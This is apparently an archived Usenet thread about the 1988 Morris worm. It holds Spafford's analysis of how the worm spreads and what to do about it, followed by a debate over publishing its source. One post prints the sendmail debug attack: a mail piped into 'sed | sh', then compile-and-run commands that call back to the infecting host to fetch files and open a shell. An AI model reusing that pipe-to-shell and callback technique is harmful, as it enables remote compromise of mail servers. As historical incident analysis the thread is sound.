The virus
News Knower
halt the spread of the virus. We have discovered from looking at the
binaries that the virus also attempts to spread itself via "rsh"
commands to other machines. It looks through a *lot* of files to find
possible vectors to spread.
If you have a bunch of machines with hosts.equiv set or .rhosts files,
you should shut them *all* down at the same time after you have fixed
sendmail to prevent a further infestation. If you don't clear out
the versions in memory, you won't protect your other machines.
The virus runs itself with the name "sh" and then overwrites argv,
so if a "ps ax" shows any processes named "(sh)" without a controlling
tty, you have a problem. Due to the use of other uids from rsh,
don't make any conclusions if the uid is one of your normal users.
Also, check your mailq (do a mailq command). If you see any entries
that pipe themselves through sed and sh, delete them from the queue
before you restart your machines.
Non-internet sites do not need to worry about this virus (for now!),
but be aware that mail and news may not be flowing everywhere for some
time -- many sites are disconnecting from the Internet completely
until the virus is contained.
Gene Spafford
This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):
All of our Vaxen and some of our Suns here were infected with the
worm. The worm forks repeated copies of itself as it tries to spread
itself, and the load averages on the infected machines skyrocketed. In
fact, it got to the point that some of the machines ran out of swap
space and kernel table entries, preventing login to even see what was
going on!
The worm seems to consist of two parts. The way that it works is as
follows:
1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).
Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"
cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c
2) This program is a simple "listener" or "helper" program of a few
dozen lines of fairly simple code. As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments).
3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp). After the files are copied, it exec's a
shell with standard input coming from the infecting worm program on
the other end of the socket.
From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:
4) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine. The command file it uses is as
follows:
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$
5) This creates and dispatches the new worm.. This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents). Next,
the worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other
machines' sendmail. If a connection succeeds, it forks a child process
to infect it, while the parent continues to attempt infection of other
machines.
7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).
Other notes:
The worm runs in stages. It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses. It even runs netstat to find out what networks the
machine is attached to! It uses this information to attempt to
penetrate sendmail on those machines. It also knows how to penetrate
"fingerd" on Vaxen (on Suns, the attempt results in a core dump). I
will privately tell individuals how to fix the bug in fingerd, but for
now change it so it does not run as "root".
After this first stage, it appears to sleep for a while. Then it starts
collecting user names and it begins probing with "rsh". I believe it
also permutes either an internal list of words, or it uses the names
from passwd, but it also tries to see if it can break any of the
passwords for local accounts; if so, if forks a child to use telnet
to break into that account and copy itself.
It tries to copy itself to other systems using rsh, fingerd, and
possibly also uucp and/or ftp.
As I write this, no one seems to know what it is supposed to eventually
do. Perhaps it just breaks in everywhere it can. I wonder if
it isn't just going to wait until some compiled-in time and then
run an "rm -rf /" or something similar (and awful). Has anyone noticed
new files in /usr/spool/at or included in /usr/lib/crontab?
Other notes:
The program corrupts its argument vector, so it appears in a "ps ax"
as "(sh)" (a login shell). Don't trust any of these if you have
them running.
The program doesn't copy around source files (except the helper) --
it copies around pre-compiled binaries that are linked on the local
machine and then run. The worm appears to only be carrying binaries
for 68020-based Suns and Vax 7xx machines. Pyramids, Sun 2's and
Sequents are all definitely immune.
The strings in the binaries are encrypted against a random "strings"
invocation. If you have a binary, Keith Bostic informs me that
Xor with 0x81 will reveal interesting things, although that is not
the only mask used.
The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh. It didn't hit Purdue until about
4 this morning.
I will update you with any further information I may find.
If you forward whatever information you find, I will try to
collate it.
--spaf
Acknowledgements: Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle (Purdue), and Miek Rowan (Purdue). Thanks, guys.
--
Gene Spafford
NSF/Purdue/U of Florida Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet: sp...@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf
Matt Landau
One thing you can do is move /bin/cc to some other name, and install
a shell script in /bin/cc that checks to see if it's being invoked
from within one of your temp directories. This will help catch the
virus as it tries to infect a new system.
Ben Feen
Help m! I assume from the language this is written in that the virus
only affects UNIX. Correct?
--
_ /| I can read your mind and you should be ashamed.
\'o.O' Remember- Stoplights timed for 35 MPH are also timed for 75 MPH.
=(___)= This .sig file stolen by:
U ben...@ddsw1.MCS.com
id for use with uunet/usenet
>
> Help m! I assume from the language this is written in that the virus
> only affects UNIX. Correct?
The header says it all.
Jonathan Bayer
Intelligent Software Products, Inc.
Phil R. Karn
Now that we have a pretty good idea who wrote the virus and what his
intentions were, I would like to suggest something he might do that would go
a long way toward mitigating the damage he has done.
It sure would be nice if Morris (or someone at Cornell with access to his
files) were to release the complete, original source for the object portion
of the virus. There are a *lot* of uneasy people out here who are not
completely sure that it is now completely understood, and releasing the
source ASAP would go a long way toward quelling those fears.
I'm probably not the only one who has been "invited" to an internal meeting
in my organization to answer questions about the virus and the steps taken
to protect against it. The more we administrators know about the virus when
we go into those meetings, the easier our lives will be over the next few
days and weeks.
Phil Karn
Gene Spafford
>It sure would be nice if Morris (or someone at Cornell with access to his
>files) were to release the complete, original source for the object portion
>of the virus.
Good heavens, no! At least, it shouldn't be widely published! The
virus, as is, needs only a few small changes and it could be sent out
again to infect all those systems that don't have all the necessary
patches in place. Plus, there are other "backdoors" (known and not yet
known) into systems that could be added in. The result could be a real
mess if someone else decides to try a "better" version of the worm.
(Note -- it's a worm, not a virus, since it can replicate itself and
does not hide itself inside other code.)
What we really want is a list of all the things in the worm that take
advantage of security holes, and advice on how to plug them. I'm
working on getting a disassembled version of the virus so I can do
exactly that, and I will post the list here and in various other places
when I have it. If someone at Cornell wants to aid me in this, fine,
but I really, really think we should not publish the code in any
way....providing it to trusted individuals with a promise not to spread
it is fine (I wouldn't mind Phil getting a copy, for instance, or Rick
Adams, etc., but I wouldn't want others to get it...and I won't name
names, although 3 or 4 spring instantly to mind). We want to know
what holes to plug, not provide a power drill to vandals.
Obnoxious Math Grad Student
>In article <11...@bellcore.bellcore.com> ka...@jupiter.UUCP (Phil R. Karn) writes:
>>It sure would be nice if Morris (or someone at Cornell with access to his
>>files) were to release the complete, original source for the object portion
>>of the virus.
>Good heavens, no! At least, it shouldn't be widely published! The
>virus, as is, needs only a few small changes and it could be sent out
>again to infect all those systems that don't have all the necessary
>patches in place. Plus, there are other "backdoors" (known and not yet
>known) into systems that could be added in. The result could be a real
>mess if someone else decides to try a "better" version of the worm.
The result could *also* be a real mess if you all think the bad guys are
going to be slowed down very much by keeping the code a "secret".
Good thing we don't have to worry about security down here at UC
BUGSFORBRAINS, since Gene and company are going to keep the key
critical stuff hush hush for us.
--famous last words, the unknown sysadmin
What was it that H P Lovecraft said about "fear"?
So regarding the release of the code:
___ All in favor of once-a-month INTERNET random fire drills say AYE.
___ All in favor of once-a-lifetime INTERNET catastrophic debacles say NO.
ucbvax!garnet!weemba Matthew P Wiener/Brahms Gang/Berkeley CA 94720
Phil Karn
Gene, I respectfully disagree. After I posted my note, I discovered that the
phage mailing list has had a raging debate about precisely this point. Even
though I wrote my original note because *I* wanted a copy of the virus/worm
source so I could be well-informed for my management's sake, I have to side
with those calling for complete disclosure. The only issue in my mind is the
exact timing of the public release.
I make the following arguments for my position.
1. Making the source available would help enormously in assuaging management
fears about additional, presently undetected damage the worm might have
caused (it might really have been a virus, for example). They are likely to
be uncomfortable having to trust and rely on the expertise of a fairly small
group of people they don't know. By no means am I casting aspersions on
those who have been cracking the virus; only trying to calm what may well be
unfounded fears. Complete disclosure is the best antidote to paranoia.
2. The worm source just isn't that much more dangerous than knowledge of the
security holes it used. Frankly, I'm surprised that Morris used it to build
a worm. Two things are paramount to a system cracker: undetectability,
followed closely by untraceability in case of detection. If I were a spy
with knowledge of the sendmail hole, I would have cracked systems one by
one, perhaps through a series of "cheesebox" systems to avoid being traced.
Until now I haven't really thought much about the design of worms, but even
without the benefit of hindsight it seems fairly obvious to me that
controlling the exact rate of their spread (to avoid detection) is very
difficult. Why should I risk the possibility of a worm getting out of hand
just to save me the trouble of cracking systems semi-manually?
3. It is just not that hard to turn the worm's binary into something really
destructive. It certainly does not *require* the source code to do so. In
fact, it doesn't even require patching the .o file. Just link it with a
module that replaces _exit (or another suitably chosen system call executed
near the end) with a function that first executes "rm -rf /", then loops.
4. The source will get out anyway, in one form or another; this is
inevitable. Lots of people have been decompiling it, and not all feel that
it should be kept secret. Perhaps I only have to wait for it to appear in
the New York Times... :-)
5. Making the source code generally available is perhaps *the* best way to
prod the vendors into fixing *lots* of holes in their systems, not just the
ones exploited by the worm.
Face it, we all know how vendors behave -- everyone does the least work
possible, subject to the vocalness of their customers' demands. Several
people have already stated that they knew of the hole in sendmail for many
years and they just chalked it up to the net being composed of benign
people. Since it wasn't generally known (I didn't know about it, for
example) there was no general cry to fix it, and it lay open long enough for
Morris to come along and exploit it.
6. I found it ironic to read that the elder Morris recently submitted a
paper on UNIX security for publication, but his employer squelched it. Who
knows what was in that paper? Perhaps, just perhaps, maybe it contained a
description of the hole in sendmail, among other things. Perhaps, just
perhaps, Robert Jr., learned of this hole from his dad. Perhaps if that
paper had been published, people would have taken steps to protect
themselves before the younger Morris had unleashed his worm.
In sum: SECURITY THROUGH OBSCURITY JUST DOESN'T WORK!
Phil
Karl Kleinpaste
It sure would be nice if Morris (or someone at Cornell with access to his
files) were to release the complete, original source for the object portion
of the virus.
That may well constitute an invasion of privacy, depending on the laws
of the state of NY, not to mention Cornell University privacy
policies. And considering that such files might soon become evidence
in what could become a bona fide criminal proceeding, don't bet on it.
Impartial juries can be tough to find.
--Karl
Mark Lawrence
I can imagine a conversation among mucky-mucks higher up in the DoD, NSA
and NSC:
"What the hell are we doing permitting access to Military Networks
by hacker college geeks? What do you mean that anybody in the world
with a PC and a modem can send traffic across our networks? What
the hell is this mail and net news garbage anyway?..." ad nauseum.
Gad, it sets me ill-at-ease to have our net techno-existance foisted up
before national media for close scrutiny and examination. The potential
for misinformation and misinterpretation of events due to lack of
understanding of the technicalities are great. There are generals,
admirals, congress-critters and beaurocrats who are now (maybe
needlessly) worried about the how this worm (none of the media reports
that I've seen have corrected the ubiquitous use of the 'virus' term)
or the next occurance might affect SAC, NORAD, the security system at
Fort Knox or some other crucial computerized facility. Whether the
danger to such such systems is real or not is immaterial to the
policy-setters and the decision-makers. They will (do?) percieve
vulnerability and (knee-jerk reaction) steps will be taken. I think
that the probability is great that such (not well thought out or informed)
actions could radically change the Net as we know it.
Mark
peter honeyman
> "What the hell are we doing permitting access to Military Networks
> by hacker college geeks? What do you mean that anybody in the world
> with a PC and a modem can send traffic across our networks? What
> the hell is this mail and net news garbage anyway?..." ad nauseum.
ironically, internet access to milnet is already prevented, with the
except of one application: mail.
boom.
peter
Roy Smith
> (Note -- it's a worm, not a virus, since it can replicate itself and
> does not hide itself inside other code.)
Several people have mentioned that it's a worm and not a virus. I
tried to explain this to my wife (who is a molecular biologist who works
with biolgical viruses) and she didn't like the term worm. She says that
the distinction of not hiding inside other code is better described by
calling them lytic viruses and lysogenic viruses instead of worms and
viruses. Anybody for electronic transposons?
--
Roy Smith, System Administrator
Public Health Research Institute
{allegra,philabs,cmcl2,rutgers}!phri!roy -or- phri!r...@uunet.uu.net
"The connector is the network"
Ken Olum
>sp...@cs.purdue.edu (Gene Spafford) writes:
>> (Note -- it's a worm, not a virus, since it can replicate itself and
>> does not hide itself inside other code.)
>
> Several people have mentioned that it's a worm and not a virus. I
>tried to explain this to my wife (who is a molecular biologist who works
>with biolgical viruses) and she didn't like the term worm. She says that
>the distinction of not hiding inside other code is better described by
>calling them lytic viruses and lysogenic viruses instead of worms and
>viruses. Anybody for electronic transposons?
The terminology depends on the exact analogy that you make between
computers and living things. If you say that a machine is like a
cell, then this recent problem is indeed a virus, because it gets
inside your host and uses the machinery of the host to reproduce
itself and spread to other machines. If you say that a program is
like a cell, and a machine is like a multicellular organism, then it's
a parasite instead. If you say a machine is just a fertile place
where programs live, then the "virus' is just a random organism. I
favor the first analogy, and I think the lytic/lysogenic terms are
good ones, but somehow I can't see them getting used much by the news
media.
Ken Olum
Hans Buurman
>In article <35...@phri.UUCP> r...@phri.UUCP (Roy Smith) writes:
>>sp...@cs.purdue.edu (Gene Spafford) writes:
>>> (Note -- it's a worm, not a virus, since it can replicate itself and
>>> does not hide itself inside other code.)
>>the distinction of not hiding inside other code is better described by
>>calling them lytic viruses and lysogenic viruses instead of worms and
>>viruses. Anybody for electronic transposons?
>favor the first analogy, and I think the lytic/lysogenic terms are
>good ones, but somehow I can't see them getting used much by the news
>media.
If you look at the reproduction rate, shouldn't this program be called
a rabbit ?
:-)
Hans
-----------------------------------------------------------------------------
Hans Buurman | ha...@duttnph.UUCP
Pattern Recognition Group | mcvax!dutrun!duttnph!hans
Faculty of Applied Physics | tel. 31 - (0) 15 - 78 46 94
Delft University of Technology |
the Netherlands |
-----------------------------------------------------------------------------
Disclaimer: any opinions expressed above are my own.
...Jose
>> (Note -- it's a worm, not a virus, since it can replicate itself and
>> does not hide itself inside other code.)
> Several people have mentioned that it's a worm and not a virus. I
>tried to explain this to my wife (who is a molecular biologist who works
>with biolgical viruses) and she didn't like the term worm. She says that
Actually, IT IS very much like a parastic worm, which invades
a biological system, and uses the host as a domain for its own reproduction
and activity. It can then travel from system to system (ie. person to person
through certain types of contact). It doesn't actually change the genetics
of a person (ie. does not attatch itself to the code), but can harm the
system by interupting normal processes.
-----------------------------------------------------------------------------
"Fighting for Truth, Kenneth C. Moyle
Justice, and Department of Biochemistry
anything else that McMaster University - Hamilton, Ontario
seems fun at the time" kenm@maccs
-----------------------------------------------------------------------------
Brandon S. Allbery
+---------------
| In article <11...@bellcore.bellcore.com> ka...@jupiter.UUCP (Phil R. Karn) writes:
| >It sure would be nice if Morris (or someone at Cornell with access to his
| >files) were to release the complete, original source for the object portion
| >of the virus.
|
| Good heavens, no! At least, it shouldn't be widely published! The
| virus, as is, needs only a few small changes and it could be sent out
| again to infect all those systems that don't have all the necessary
| patches in place. Plus, there are other "backdoors" (known and not yet
| known) into systems that could be added in. The result could be a real
| mess if someone else decides to try a "better" version of the worm.
G*d, yes! Anyone who disbelieves this should look up the history of the
"nVIR" virus family on the Macintosh. And *that* started out as a PUBLISHED
EXAMPLE of a POTENTIAL security hole!!!
++Brandon
--
Brandon S. Allbery, comp.sources.misc moderator and one admin of ncoast PA UN*X
uunet!hal.cwru.edu!ncoast!allbery <PREFERRED!> ncoast!all...@hal.cwru.edu
allb...@skybridge.sdi.cwru.edu <ALSO> all...@uunet.uu.net
comp.sources.misc is moving off ncoast -- please do NOT send submissions direct
Send comp.sources.misc submissions to comp-sources-misc@<backbone>.
Mike Klaus
> (Note -- it's a worm, not a virus, since it can replicate itself and
> does not hide itself inside other code.)
OK, it's been established that it's a worm...
^^^^
>
> I'm working on getting a disassembled version of the virus so I can do...
^^^^^
Is this a freudian slip? Is there something else running around in the
net(s)? Did someone say grafitti?
mak
Story: Once upon a time, there was a computer tournament between CIT and MIT
involving a chess game. This was extremely tedious and boring until
a couple of nerds started a new game with initial setup consisting
exclusively of forks.....